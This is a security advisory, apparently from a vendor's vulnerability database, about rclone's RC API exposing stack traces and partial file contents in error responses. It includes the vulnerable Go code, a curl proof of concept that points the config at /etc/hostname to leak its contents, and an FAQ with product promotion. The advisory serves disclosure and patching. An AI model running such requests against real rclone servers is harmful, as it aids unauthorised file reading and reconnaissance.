GHSA-GWFQ-86J8-7QHV

rclone: Verbose Stack Trace Disclosure in RC API Error Responses

func (j *Job) run(ctx context.Context, fn rc.Func, in rc.Params) {
    defer func() {
        if r := recover(); r != nil {
            j.mu.Lock()
            j.EndTime = time.Now()
            j.Error = fmt.Sprintf("panic received: %v \n%s", r, string(debug.Stack()))
            // ...
        }
    }()

curl -s -X POST http://localhost:5572/config/setpath \
  -H "Content-Type: application/json" \
  -d '{"path":"/etc/hostname"}' 

curl -s -X POST http://localhost:5572/config/dump

{
  "error": "panic received: fatal error: Failed to load config file \"/etc/hostname\": could not parse line: ... \ngoroutine 9 [running]:\nruntime/debug.Stack()\n\truntime/debug/stack.go:26 +0x64\ngithub.com/rclone/rclone/fs/rc/jobs.(*Job).run.func1()\n\tgithub.com/rclone/rclone/fs/rc/jobs/job.go:112 +0x34\n...",
  "status": 500
}

Information disclosure that aids exploitation of other vulnerabilities. Stack traces reveal internal architecture, dependency versions (useful for known-CVE targeting), and memory layout. The error message also leaks partial file contents (the first line that fails INI parsing), which can be used alongside the arbitrary file read finding as a complementary file read primitive for non-INI files.

GHSA-GWFQ-86J8-7QHV has a CVSS score of 2.7 (Low). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.75.0); upgrading removes the vulnerable code path.

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1. What is GHSA-GWFQ-86J8-7QHV? GHSA-GWFQ-86J8-7QHV is a low-severity security vulnerability in github.com/rclone/rclone (go), affecting versions <= 1.74.4. It is fixed in 1.75.0.
2. How severe is GHSA-GWFQ-86J8-7QHV? GHSA-GWFQ-86J8-7QHV has a CVSS score of 2.7 (Low). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/rclone/rclone are affected by GHSA-GWFQ-86J8-7QHV? github.com/rclone/rclone (go) versions <= 1.74.4 is affected.
4. Is there a fix for GHSA-GWFQ-86J8-7QHV? Yes. GHSA-GWFQ-86J8-7QHV is fixed in 1.75.0. Upgrade to this version or later.
5. Is GHSA-GWFQ-86J8-7QHV exploitable, and should I be worried? Whether GHSA-GWFQ-86J8-7QHV is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether GHSA-GWFQ-86J8-7QHV is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix GHSA-GWFQ-86J8-7QHV? Upgrade github.com/rclone/rclone to 1.75.0 or later.

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